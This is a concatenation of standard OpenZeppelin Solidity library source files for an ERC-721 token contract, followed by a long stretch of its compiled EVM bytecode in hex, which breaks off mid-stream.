pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106101cd5760003560e01c8063715018a6116100f7578063a22cb46511610095578063e396276e11610064578063e396276e1461065a578063e927fc5c14610683578063e985e9c5146106ae578063f2fde38b146106eb576101cd565b8063a22cb465146105a0578063b88d4fde146105c9578063c87b56dd146105f2578063d547cfb71461062f576101cd565b80638d859f3e116100d15780638d859f3e146104f65780638da5cb5b1461052157806391b7f5ed1461054c57806395d89b4114610575576101cd565b8063715018a6146104aa578063853828b6146104c15780638ad5de28146104cb576101cd565b80633502a7161161016f5780634f6ccce71161013e5780634f6ccce7146103ca57806355f804b3146104075780636352211e1461043057806370a082311461046d576101cd565b80633502a7161461033157806340c10f191461035c57806342842e0e1461037857806342966c68146103a1576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f49190612de2565b610714565b604051610206919061331b565b60405180910390f35b34801561021b57600080fd5b50610224610726565b6040516102319190613336565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190612e75565b6107b8565b60405161026e91906132b4565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190612da6565b61083d565b005b3480156102ac57600080fd5b506102b5610955565b6040516102c291906135d8565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612ca0565b610962565b005b34801561030057600080fd5b5061031b60048036038101906103169190612da6565b6109c2565b60405161032891906135d8565b60405180910390f35b34801561033d57600080fd5b50610346610a67565b60405161035391906135d8565b60405180910390f35b61037660048036038101906103719190612da6565b610a6d565b005b34801561038457600080fd5b5061039f600480360381019061039a9190612ca0565b610a99565b005b3480156103ad57600080fd5b506103c860048036038101906103c39190612e75565b610ab9565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612e75565b610b15565b6040516103fe91906135d8565b60405180910390f35b34801561041357600080fd5b5061042e60048036038101906104299190612e34565b610bac565b005b34801561043c57600080fd5b5061045760048036038101906104529190612e75565b610c42565b60405161046491906132b4565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612c3b565b610cf4565b6040516104a191906135d8565b60405180910390f35b3480156104b657600080fd5b506104bf610dac565b005b6104c9610e34565b005b3480156104d757600080fd5b506104e0610ef1565b6040516104ed91906135d8565b60405180910390f35b34801561050257600080fd5b5061050b610ef6565b60405161051891906135d8565b60405180910390f35b34801561052d57600080fd5b50610536610efc565b60405161054391906132b4565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e9190612e75565b610f26565b005b34801561058157600080fd5b5061058a610fe5565b6040516105979190613336565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190612d6a565b611077565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612cef565b6111f8565b005b3480156105fe57600080fd5b5061061960048036038101906106149190612e75565b61125a565b6040516106269190613336565b60405180910390f35b34801561063b57600080fd5b50610644611301565b6040516106519190613336565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612c3b565b61138f565b005b34801561068f57600080fd5b506106986114a8565b6040516106a591906132b4565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190612c64565b6114ce565b6040516106e2919061331b565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d9190612c3b565b611562565b005b600061071f8261165a565b9050919050565b60606000805461073590613839565b80601f016020809104026020016040519081016040528092919081815260200182805461076190613839565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b60006107c3826116d4565b610802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f9906134b8565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061084882610c42565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b090613538565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108d8611740565b73ffffffffffffffffffffffffffffffffffffffff161480610907575061090681610901611740565b6114ce565b5b610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d90613438565b60405180910390fd5b6109508383611748565b505050565b6000600880549050905090565b61097361096d611740565b82611801565b6109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990613578565b60405180910390fd5b6109bd8383836118df565b505050565b60006109cd83610cf4565b8210610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590613358565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600c5481565b60005b81811015610a9457610a8183611b3b565b8080610a8c9061389c565b915050610a70565b505050565b610ab4838383604051806020016040528060008152506111f8565b505050565b610aca610ac4611740565b82611801565b610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b00906135b8565b60405180910390fd5b610b1281611ba4565b50565b6000610b1f610955565b8210610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5790613598565b60405180910390fd5b60088281548110610b9a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610bb4611740565b73ffffffffffffffffffffffffffffffffffffffff16610bd2610efc565b73ffffffffffffffffffffffffffffffffffffffff1614610c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1f906134d8565b60405180910390fd5b80600e9080519060200190610c3e929190612a5f565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ceb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce290613478565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90613458565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610db4611740565b73ffffffffffffffffffffffffffffffffffffffff16610dd2610efc565b73ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906134d8565b60405180910390fd5b610e326000611cb5565b565b610e3c611740565b73ffffffffffffffffffffffffffffffffffffffff16610e5a610efc565b73ffffffffffffffffffffffffffffffffffffffff1614610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea7906134d8565b60405180910390fd5b600047905060008111610ec257600080fd5b610eee600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1647611d7b565b50565b601481565b600d5481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f2e611740565b73ffffffffffffffffffffffffffffffffffffffff16610f4c610efc565b73ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f99906134d8565b60405180910390fd5b80600d819055507f0e4af3870af723022c49a1ebcf7379a14fa7732c2dc92925407b8d219116a26b600d54604051610fda91906135d8565b60405180910390a150565b606060018054610ff490613839565b80601f016020809104026020016040519081016040528092919081815260200182805461102090613839565b801561106d5780601f106110425761010080835404028352916020019161106d565b820191906000526020600020905b81548152906001019060200180831161105057829003601f168201915b5050505050905090565b61107f611740565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e4906133f8565b60405180910390fd5b80600560006110fa611740565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166111a7611740565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111ec919061331b565b60405180910390a35050565b611209611203611740565b83611801565b611248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123f90613578565b60405180910390fd5b61125484848484611e2c565b50505050565b6060611265826116d4565b6112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b90613518565b60405180910390fd5b60006112ae611e88565b905060008151116112ce57604051806020016040528060008152506112f9565b806112d884611e9f565b6040516020016112e9929190613270565b6040516020818303038152906040525b915050919050565b600e805461130e90613839565b80601f016020809104026020016040519081016040528092919081815260200182805461133a90613839565b80156113875780601f1061135c57610100808354040283529160200191611387565b820191906000526020600020905b81548152906001019060200180831161136a57829003601f168201915b505050505081565b611397611740565b73ffffffffffffffffffffffffffffffffffffffff166113b5610efc565b73ffffffffffffffffffffffffffffffffffffffff161461140b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611402906134d8565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fef5c13e092b49137ab999ff6b0433414c18a7828e762199a75a2892500375905600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161149d91906132b4565b60405180910390a150565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61156a611740565b73ffffffffffffffffffffffffffffffffffffffff16611588610efc565b73ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d5906134d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590613398565b60405180910390fd5b61165781611cb5565b50565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806116cd57506116cc8261204c565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166117bb83610c42565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061180c826116d4565b61184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290613418565b60405180910390fd5b600061185683610c42565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806118c557508373ffffffffffffffffffffffffffffffffffffffff166118ad846107b8565b73ffffffffffffffffffffffffffffffffffffffff16145b806118d657506118d581856114ce565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166118ff82610c42565b73ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c906134f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bc906133d8565b60405180910390fd5b6119d083838361212e565b6119db600082611748565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a2b919061374f565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a8291906136c8565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000611b4561213e565b9050611b51600b61214f565b611b6782600183611b6291906136c8565b612165565b600181611b7491906136c8565b7f7e03ce21e5e5f3325fe1aad377e7be64024730acb11945f08a3d7c010379c10e60405160405180910390a25050565b6000611baf82610c42565b9050611bbd8160008461212e565b611bc8600083611748565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c18919061374f565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611da19061329f565b60006040518083038185875af1925050503d8060008114611dde576040519150601f19603f3d011682016040523d82523d6000602084013e611de3565b606091505b5050905080611e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1e90613558565b60405180910390fd5b505050565b611e378484846118df565b611e4384848484612183565b611e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7990613378565b60405180910390fd5b50505050565b606060405180602001604052806000815250905090565b60606000821415611ee7576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612047565b600082905060005b60008214611f19578080611f029061389c565b915050600a82611f12919061371e565b9150611eef565b60008167ffffffffffffffff811115611f5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611f8d5781602001600182028036833780820191505090505b5090505b6000851461204057600182611fa6919061374f565b9150600a85611fb591906138e5565b6030611fc191906136c8565b60f81b818381518110611ffd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612039919061371e565b9450611f91565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061211757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061212757506121268261231a565b5b9050919050565b612139838383612384565b505050565b600061214a600b612498565b905090565b6001816000016000828254019250508190555050565b61217f8282604051806020016040528060008152506124a6565b5050565b60006121a48473ffffffffffffffffffffffffffffffffffffffff16612501565b1561230d578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026121cd611740565b8786866040518563ffffffff1660e01b81526004016121ef94939291906132cf565b602060405180830381600087803b15801561220957600080fd5b505af192505050801561223a57506040513d601f19601f820116820180604052508101906122379190612e0b565b60015b6122bd573d806000811461226a576040519150601f19603f3d011682016040523d82523d6000602084013e61226f565b606091505b506000815114156122b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ac90613378565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612312565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b61238f838383612514565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123d2576123cd81612519565b612411565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146124105761240f8382612562565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124545761244f816126cf565b612493565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612492576124918282612812565b5b5b505050565b600081600001549050919050565b6124b08383612891565b6124bd6000848484612183565b6124fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f390613378565b60405180910390fd5b505050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161256f84610cf4565b612579919061374f565b905060006007600084815260200190815260200160002054905081811461265e576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506126e3919061374f565b9050600060096000848152602001908152602001600020549050600060088381548110612739577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612781577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806127f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061281d83610cf4565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f890613498565b60405180910390fd5b61290a816116d4565b1561294a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612941906133b8565b60405180910390fd5b6129566000838361212e565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129a691906136c8565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612a6b90613839565b90600052602060002090601f016020900481019282612a8d5760008555612ad4565b82601f10612aa657805160ff1916838001178555612ad4565b82800160010185558215612ad4579182015b82811115612ad3578251825591602001919060010190612ab8565b5b509050612ae19190612ae5565b5090565b5b80821115612afe576000816000905550600101612ae6565b5090565b6000612b15612b1084613618565b6135f3565b905082815260208101848484011115612b2d57600080fd5b612b388482856137f7565b509392505050565b6000612b53612b4e84613649565b6135f3565b905082815260208101848484011115612b6b57600080fd5b612b768482856137f7565b509392505050565b600081359050612b8d81613f7d565b92915050565b600081359050612ba281613f94565b92915050565b600081359050612bb781613fab565b92915050565b600081519050612bcc81613fab565b92915050565b600082601f830112612be357600080fd5b8135612bf3848260208601612b02565b91505092915050565b600082601f830112612c0d57600080fd5b8135612c1d848260208601612b40565b91505092915050565b600081359050612c3581613fc2565b92915050565b600060208284031215612c4d57600080fd5b6000612c5b84828501612b7e565b91505092915050565b60008060408385031215612c7757600080fd5b6000612c8585828601612b7e565b9250506020612c9685828601612b7e565b9150509250929050565b600080600060608486031215612cb557600080fd5b6000612cc386828701612b7e565b9350506020612cd486828701612b7e565b9250506040612ce586828701612c26565b9150509250925092565b60008060008060808587031215612d0557600080fd5b6000612d1387828801612b7e565b9450506020612d2487828801612b7e565b9350506040612d3587828801612c26565b925050606085013567ffffffffffffffff811115612d5257600080fd5b612d5e87828801612bd2565b91505092959194509250565b60008060408385031215612d7d57600080fd5b6000612d8b85828601612b7e565b9250506020612d9c85828601612b93565b9150509250929050565b60008060408385031215612db957600080fd5b6000612dc785828601612b7e565b9250506020612dd885828601612c26565b9150509250929050565b600060208284031215612df457600080fd5b6000612e0284828501612ba8565b91505092915050565b600060208284031215612e1d57600080fd5b6000612e2b84828501612bbd565b91505092915050565b600060208284031215612e4657600080fd5b600082013567ffffffffffffffff811115612e6057600080fd5b612e6c84828501612bfc565b91505092915050565b600060208284031215612e8757600080fd5b6000612e9584828501612c26565b91505092915050565b612ea781613783565b82525050565b612eb681613795565b82525050565b6000612ec78261367a565b612ed18185613690565b9350612ee1818560208601613806565b612eea816139d2565b840191505092915050565b6000612f0082613685565b612f0a81856136ac565b9350612f1a818560208601